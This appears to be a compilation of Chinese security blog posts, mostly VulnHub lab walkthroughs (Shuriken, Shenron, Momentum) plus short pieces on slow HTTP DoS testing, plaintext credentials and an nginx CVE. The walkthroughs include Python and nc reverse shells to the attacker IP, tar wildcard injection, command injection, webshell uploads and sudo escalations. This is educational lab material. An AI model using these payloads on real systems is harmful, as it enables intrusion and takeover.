Slowhttptest Usage

Slowhttptest 对 Slow HTTP Dos 的误判

当场滑跪

前段时间在巡检公司项目的时候发现了HTTP慢速拒绝服务攻击(Slow HTTP Dos)
于是就下发让项目运维去修复了,但是反馈说明明配置了正确的参数,于是我当(zhi)场(jie)滑(dao)跪(qian) ORZ

image

发生了什么

所以是发生了什么?漏扫就那么垃圾和我过不去这么多误报?我还好好用 slowhttptest 去验证了,确实存在service available: NO的显示,图就不发了,拿阿B的给你们看看:
image

后来看得多了我发现(其实早就发现了),slowhttptest 的slowbody模式下很容易出现service available: NOreadheader就很容易通过测试
但是归根到底是否触发拒绝服务,肯定看:

    1. 网站载入延时
    1. 网站是否还可访问

在看了星球守护者 的漏洞复现后我发现,用 slowhttptest 验证 Slow HTTP Dos 真实存在,需要注意:

1
2
3
4
1. slow HTTP test status on Xth second:		X 数字较小,即较早就开始拒绝服务
2. service available: NO
3. Test ended on X+1th second
4. Exit status: Connection refused 这两点比较重要,真的拒绝服务了直接下一秒就停止测试了

image

不得不说

其实 Dos 类的漏洞你很不好说,因为访问量过大必然服务器承受不住,这个只能做缓解(流量分析、请求时限、扩容等等)
所以漏扫出来是否存在这个漏洞或者 slowhttptest 的service available: NO,有可能是看片面了(某些请求在开始或者后来被识别后被拒绝、中断,或者网页响应时间是否有某个范围内的增量变化等,尤其是这个增量变化,我曾经发现因为一个资产页面正常请求的数量会变化,时延直接从几百ms级变成几s级的)

好吧,okk

image

Shuriken Node

SHURIKEN: NODE

一、基本信息

名称:Shuriken: Node

发布日期:2020.12.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

serv-adm:/~/user.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Shuriken_Node.ova

文件大小:2.5GB

下载地址:

MD5: 5EEFC9733F218D3EB5E96CA231204BAC

SHA1: BE48EB2CE8B9FAA6C016BAE4776869F873F6B2B9

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken_node和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和8080端口,访问8080,查看源码没有什么线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.125 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,也没有过多线索:

1
gobuster dir -u http://192.168.56.125:8080 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Node.js漏洞利用

1.根据主页提示,我们需要关注Node.js相关的问题,在exploit-db查询node.js相关的漏洞(https://www.exploit-db.com/exploits/41289):

image-

2.根据漏洞文档描述,我们在https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py下能够找到利用程序,在kali上获取一下:

1
wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py

image-

3.利用nodejsshell.py生成设定的ip和端口的shellcode,根据漏洞文档描述,要将shellcode加载后进行base64编码:

1
python nodejsshell.py 192.168.56.102 9002

image-

4.利用漏洞文档提供的加载器,再在https://gchq.github.io/CyberChef/上进行base64转换后,kali监听对应端口,把payload注入到cookie中:

1
{"rce":"_$$ND_FUNC$$_function ()}()"},加载器

image-

image-

image-

SSH免密登录,初步提权

1.注入cookie后,我们就获得了shell,利用python构建交互式shell:

image-

2.查看文件权限,发现/var/backups目录下有ssh-backup.zip文件,解压后得到一个id_rsa:

1
2
3
cd ~
ls -la /var/backups
unzip ssh-backup.zip

image-

3.我们在/home目录下能够再发现serv-adm用户,这个密钥很可能就是该用户的:

1
2
cd /home
ls -la

image-

4.id_rsa是一个加密了的密钥,我们把它复制到kali,利用ssh2john进行解密后ssh登录serv-adm:

1
2
3
vim id_rsa.enc
/usr/share/john/ssh2john.py id_rsa.enc > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash

image-

1
2
3
4
openssl rsa -in id_rsa.enc -out id_rsa,pasword是刚才john解出的密码
chmod 600 id_rsa

ssh serv-adm@192.168.56.125 -i id_rsa

image-

root提权

1.在ser-adm用户目录下,能够发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

2.利用sudo -l命令查看文件权限,发现有定时文件:

1
2
3
cd ~
ls -la
cat user.txt

image-

3.我们查看一下shuriken-auto.timer,发现他定时执行shuriken-job.service,我们可以修改job为我们需要的提权程序:

1
2
3
cd /etc/systemd/system
ls -la
cat shuriken-auto.timer

image-

1
nano shuriken-job.service

image-

Flag获取

1.现在我们能重启一下时间器,获得用于提权的bashroot,执行触发获得root权限:

1
2
3
sudo systemctl stop shuriken-auto.timer
sudo systemctl start shuriken-auto.timer
/tmp/bashroot -p

image-

2.在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shuriken 1

SHURIKEN: 1

一、基本信息

名称:Shuriken: 1

发布日期:2020.11.13

作者:TheCyb3rW0lf

系列:Shuriken

二、靶机简介

Flags:

server-management:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Shuriken-1.ova

文件大小:2.7GB

下载地址:

MD5: 2DB75B09A1DD917FFE1DF20B4450D032

SHA1: 602F049006AFE12632A1B6FEB6E4860008C96D32

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shuriken和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80和8080端口,访问主页,查看源代码sha384字串无法解码:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.124 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/sercet目录比较可疑:

1
gobuster dir -u http://192.168.56.124 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

ClipBucket页登录

1.访问/secret目录,发现一张secret.png图片,对图片进行信息隐藏分析后没有额外结果:

image-

image-

2.于是根据图片提示去主页查看js代码,发现两个指向:

image-

image-

3.修改kali的/etc/hosts文件,访问http://broadcast.shuriken.local,发现需要用户名和密码:

1
vim /etc/hosts

image-

image-

4.再次修改/etc/hosts,通过http://shuriken.local/index.php?referer=请求可以得到apache默认配置文件/etc/apache2/sites-enabled/000-default.conf,该文件指明用户文件位置为/etc/apach2/.htpasswd:

1
vim /etc/hosts

image-

image-

5.继续读取/etc/apach2/.htpasswd,可以得到用户名和密码的字串,利用hashcat结合rockyou字典破解密码:

image-

1
2
echo '$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0' > hash.txt
hashcat -m 1600 -a 0 hash.txt rockyou.txt

image-

ClipBucket漏洞利用

1.再次修改/etc/hosts,回到http://broadcast.shuriken.local,登录后发现是ClipBucket的页面,可以在exploit-db上找到相关的漏洞利用(https://www.exploit-db.com/exploits/44250):

image-

image-

2.构造payload后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行修改,在kali开启对应端口监听,访问http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/1630302014b9d72e.php后成功获得shell,再用python构建交互式shell:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

1
2
nc -lvnp 9001
curl --basic --user "developers:9972761drmfsls" -F "file=@php-reverse-shell.php" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/beats_uploader.php

image-

image-

image-

初步提权

1.利用sudo -l命令查看权限,发现可以执行npm,那么创建一个用于提权的json文件,利用npm提权:

1
sudo -l

image-

1
2
3
cd /tmp
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

image-

2.成功提权到server-management后,可以在用户目录下发现第一个flag,user.txt:

1
2
3
cd ~
ls -la
cat user.txt

image-

root提权

1.查看crontab,我们发现有一个backupsrv.sh每隔两分钟执行一次,我们可以查看下程序内容:

1
cat /etc/crontab

image-

1
cat /var/opt/backupsrv.sh

image-

2.查看程序后,我们知道它打开/home/server-management/Documents目录并使用通配符(*) tar 参数创建它的备份,这种结构容易受到通配符注入的影响:

1
2
3
4
cd Documents
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.102\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh,先写一个shell
echo "" > "--checkpoint-action=exec=sh shell.sh",为shell创建触发
echo "" > --checkpoint=1

image-

3.在kali开启对应端口监听,等待两分钟后程序定时执行得到shell为root权限:

1
nc -lvnp 9002

image-

4.获得root权限后,在/root目录下能够发现第二个flag,root.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Shenron 3

Shenron:3

一、基本信息

名称:shenron:3

发布日期:2021.4.16

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-3.ova

文件大小:1.3GB

下载地址:

MD5: 2C70DA66904D9820BF065D2EACB08419

SHA1: 8FB172649FFB6F44F2C81D8468B3B609D8E37E19

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron3和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放80端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.137 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现目录基本与wordpress有关:

1
gobuster dir -u http://192.168.3.137/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问主页,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://192.168.3.137 --plugins-detection aggressive

image-

2.没有直接的漏洞发现,访问后台登录页面,发现存在admin用户,我们可以直接使用wpscan对后台登录页爆破(需要rockyou.txt字典):

image-

1
wpscan --url http://shenron --passwords rockyou.txt --usernames admin

image-

Wordpress后台登录,写入webshell

1.使用账号和密码登录wordpress后台,可以在Appearance-Editor-404.php页写入webshell:

image-

2.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,覆盖404.php,update file,kali开启对应端口监听,通过访问不存在页触发webshell:

image-

image-

image-

image-

初步提权

1.查看/var/www/html目录下文件,在wp-config.php中能发现wordpress用户及数据库密码,但是进入数据库后并没有什么额外发现:

image-

2.尝试提权到shenron,发现登录密码不是Wordpress@123,而是之前爆出的iloverockyou:

image-

root提权

1.在/home/shenron目录下,我们查看文件权限,发现network的属主和属组都是root:

image-

2.利用pspy64s工具,我们查看network运行后的调用,发现回调用netstat,则我们可以新建一个netstat文件,进行提权操作:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务
wget http://192.168.3.134:8001/pspy64s,shenron获取pspy64s工具
chmod +x pspy64s
./network
./pspy64s

image-

image-

1
2
3
4
5
6
cd /tmp
echo "/bin/bash -p" > netstat
chmod +x netstat
export PATH=/tmp:$PATH
cd ~
./network

image-

3.在/root目录下发现flag,即root.txt:

image-

Shenron 2

Shenron:2

一、基本信息

名称:shenron:2

发布日期:2021.4.5

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:shenron-2.ova

文件大小:3.7GB

下载地址:

MD5: 2883845FF2E1E122E1B1E75CF9A4B4E1

SHA1: E66BDA7AB264D1FEA2103801BB422731F34F0599

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron2和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.3.134:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.3.134/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80及8080端口,访问主页查看源码,没有太多线索:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.3.136 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有发现太多值得关注的目录:

1
gobuster dir -u http://192.168.3.136/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

Wordpress漏洞利用

1.先把解析写入host,然后访问192.168.3.136:8080,发现是wordpress搭建的页面,可以用wpscan尝试寻找下漏洞:

1
vim /etc/hosts

image-

image-

1
wpscan --url http://shenron:8080 --api-token $(cat /opt/wpscan-api) --enumerate

image-

2.发现有Site Editor的漏洞,我们可以看一下如何利用:

1
searchsploit Site Editor 1.1.1

image-

1
curl http://shenron:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd,得到有两个用户和密码hash

image-

SSH密码爆破,初步提权

1.用hydra进行jenny爆破,得到密码登录SSH:

image-

image-

2.在jenny用户下,查看suid,可以发现/usr/bin/Execute,查看文件(需要导入本地查看,不然是elf乱码):

1
find / -type f -perm -u=s 2>/dev/null

image-

image-

3.我们可以知道这个文件的作用是将/bin/bash复制到/mnt/bash下,并给予shenron用户权限,那么我们可以利用这个文件:

1
2
Execute
/mnt/bash -p

image-

root提权

1.查看.pass文件,我们能发现一串类似base编码的字符串,利用base32解密发现是shenron用户登录的密码:

image-

2.登录shenron后,查看权限,发现可以直接提权到root:

image-

3.在/root目录下,可以找到flag,即root.txt:

image-

Shenron 1

Shenron:1

一、基本信息

名称:shenron:1

发布日期:2020.12.15

作者:Shubham mandloi

系列:shenron

推特:@shubhammandloi

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:shenron-1.ova

文件大小:1.3GB

下载地址:

MD5: 3D9F0F620846BC15F4591E7AC56C04B2

SHA1: 4E1D33E2338ADA4CA1C093CD67725850A033BAAD

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机shenron1和攻击机kali2021在VirtualBox下设置为桥接模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页还是apache2的初始页:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.113 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/joomla和/test两个值得关注的目录,可以进行访问:

1
gobuster dir -u http://192.168.56.113/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

寻找密码,登录joomla后台

1.访问192.168.56.113/test,发现有password文件,查看password源码,能够发现admin用户的密码:

image-

image-

2.可以用admin用户登录joomla管理后台:

1
gobuster dir -u http://192.168.56.113/joomla -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,寻找后台

image-

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,同时开启kali端口监听:

image-

2.在joomla后台管理页Templates-Templates-Protostar Details and Files-error.php内写入webshell内容后保存:

image-

3.访问不存在页面,触发webshell,再使用python构建交互式shell:

image-

image-

SSH免密登录,逐步提权

1.在/var/www/html/joomla目录下,我们从configuration.php文件中可以发现jenny用户及其密码,可用作登录:

image-

image-

2.登录jenny用户后,我们尝试使用ssh免密登录:

1
cat ~/.ssh/id_rsa.pub,首先在kali上查看自己的ssh密钥并复制下来,没有的话执行ssh-keygen,回车默认

image-

1
2
3
cd ~
cd .ssh
echo __public key__ >> authorized_keys,在jenny用户进入/.ssh目录,写入kali复制的密钥

image-

3.接着我们进行执行权限查看,发现shenron用户可以使用复制命令,则刚好可以把jenny现在有的ssh密钥复制过去,免密登录shenron:

1
sudo -l

image-

1
2
cp /home/jenny/.ssh/authorized_keys /tmp/
sudo -u shenron cp /tmp/authorized_keys /home/shenron/.ssh/

image-

root提权

1.在/var/opt目录下,我们能发现password.txt,应该是shenron用户的密码:

1
2
3
4
5
Python3 -m http.server 8001,在kali开放http服务
cd /tmp
wget http://192.168.56.102:8001/linpeas.sh,使用linpeas.sh工具扫描
chmod +x linpeas.sh
./linpeas.sh | tee output

image-

2.在shenron用户基础上,再查看权限,发现所有用户都可以使用apt,则用apt进行提权(详见https://gtfobins.github.io/gtfobins/apt-get/):

1
2
3
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl

image-

3.在root用户/root目录下,可以查看flag,即root.txt:

image-

Full-Text CSDN

CSDN 不登录查看全文

闲谈

土豪:“CSDN 有点恶心啊,什么代码要登录复制,查看全文也要登录,有没有什么插件方法直接能看的?”

同事:“它这个是这样设定的,肯定要走一步这个流程给他们增加访问量还有用户啊……”

我:“……”

image

默默拿出方案

1
2
3
<div id="article_content" class="article_content clearfix" style="height: 2000px; overflow: hidden;">
修改成:
<div id="article_content" class="article_content clearfix" style="height: XXXXpx;">

image

每天一个没用小技巧 (´◐∀◐`)

image

Plaintext Transmission

用户凭据明文传输

本文转自天泽岁月

漏洞描述

用户凭据通过未加密的通道传输。当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)【如果加密方式是常见的加密也可以解密的(比如:MD5,RSA 等–另外base64只是一种编码方式并不算是加密!】即可获取到这些未加密的敏感数据。所有经过网关的流量都可以被黑客通过嗅探(ARP欺骗)的方式抓取到。

当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。

漏洞验证

找到网站或者web系统登录页面。

通过过对网站登录页面的请求进行抓包,分析其数据包中相关password(密码)参数的值是否为明文。

工具可用burp、wireshark、filder等等,抓包分析的密码

浏览器的F12中的“网络”模块功能并点击HTML进行筛选,点击登录即可获取到post或者get的请求头及请求主体的内容,如下图所示,就获取到了http明文登录的敏感数据了。

image

修复建议

由于用户凭据为敏感信息,应始终通过加密通道 (HTTPS) 传输,以避免被恶意用户拦截。因此应始终通过加密连接 (HTTPS) 将其传输到服务器。

如果不用 HTTPS,可以在网站前端用 Javascript 做密码加密,加密后再进行传输。(js被禁用了就GG)

使用正规的ca机构颁发的https证书

采用非对称加密方式(不可逆的加密方式)

参考学习

浅谈“密码明文传输”
渗透测试(二):敏感信息明文传输

CVE-2014-0133-Nginx

Nginx SPDY缓冲区溢出漏洞

本文转自山兔1 并作补充

注意

nginx SPDY实现存在基于堆的缓冲区溢出,允许攻击者利用漏洞提交特殊的请求使应用程序崩溃或执行任意代码。

如果是漏扫,扫出来的话,是没有用的,它是根据版本来确认nginx是否存在的漏洞的,具体得登陆服务器上看。

成因

Nginx 1.3.15 - 1.5.11 的版本都收此漏洞影响,原因是如果listen指令中的spdy选项被配置文件所调用,则编译时会使用ngx_http_spdy_module模块(默认不编译),并且没有--with-debug配置选项。

修复

此漏洞已在 Nginx 1.5.12 及 1.4.7 后被修复,问题补丁如下:

1
2
3
4
5
6
7
8
9
10
11
--- src/http/ngx_http_spdy.c
+++ src/http/ngx_http_spdy.c
@@ -1849,7 +1849,7 @@ static u_char *
ngx_http_spdy_state_save(ngx_http_spdy_connection_t *sc,
u_char *pos, u_char *end, ngx_http_spdy_handler_pt handler)
{
-#if (NGX_DEBUG)
+#if 1
if (end - pos > NGX_SPDY_STATE_BUFFER_SIZE) {
ngx_log_error(NGX_LOG_ALERT, sc->connection->log, 0,
"spdy state buffer overflow: "

请更新 Nginx 版本

Momentum 2

Momentum:2

一、基本信息

名称:Momentum:2

发布日期:2021.6.28

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

www-data:/home/athena/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Momentum2.ova

文件大小:698MB

下载地址:

MD5: 5E837FD87D809C499911B1CB1A257CD9

SHA1: 17FACC18FE6A6979159C4D0A09CC330602E81E68

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.107 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现五个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.107/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件上传漏洞发现

1.访问一下dashboard.html页面,是一个上传页,会将文件传到目录/owls下,而这个目录无法直接上传php文件,只能上传txt文件:

image-

2.在前端js是没有做出文件上出限制的,目录扫描到ajax.php是0kb,可以去查看ajax.php.bak文件,发现规定在cookie中做出了上传限制,则想到BP抓包修改cookie:

image-

image-

ajax.php.bak代码的内容是:当cookie存在,且键名为admin时,是可以上传pdf、php、txt文件的;不过admin需要一个值,代码中已经给出了值,但是在这个值的最后还缺少一位大写的字符;此外,还要使用post方式提交一个参数secure;最后上传成功时会返回一个1

3.使用crunch生成一个最后一位是大写的字符字典,用于等下BP去爆破cookie;并且修改kali自带的webshell,准备上传:

1
2
crunch 1 1 -t , -o pass.txt
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

Burpsuite抓包修改

1.在dashboard.html选择上传php-reverse-shell.php,用BP拦截后,导入Intruder模块,加载刚才生成的字典pass.txt,并添加一个POST数据:

image-

image-

image-
2.开始爆破cookie,发现最后的大写字符是R,来到Repeater模块,添加cookie和post后发送包,在kali开启端口监听,在/owls目录触发webshell:

image-

image-

image-

image-

3.用python构建一个交互式shell,然后在/home/athena目录下可以发现第一个flag,即user.txt:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

root提权

1.查看同目录下的password-reminder.txt文件,得到一个密码提示,Asterisk是的意思,可以猜测是任意字符,但其实ssh登录尝试一下就是

image-

image-

2.查看当前用户权限,可以以root身份执行cookie-gen.py,查看文件,发现会将输入的值传给seed参数,然后写入到log.txt中,在echo时会执行bash命令:

image-

3.可以直接输入反弹shell给seed,然后kali开启对应端口监听,在/root目录下能得到第二个flag,即root.txt:

1
反弹shell:;nc 192.168.56.102 12345 -e /bin/sh;

image-

image-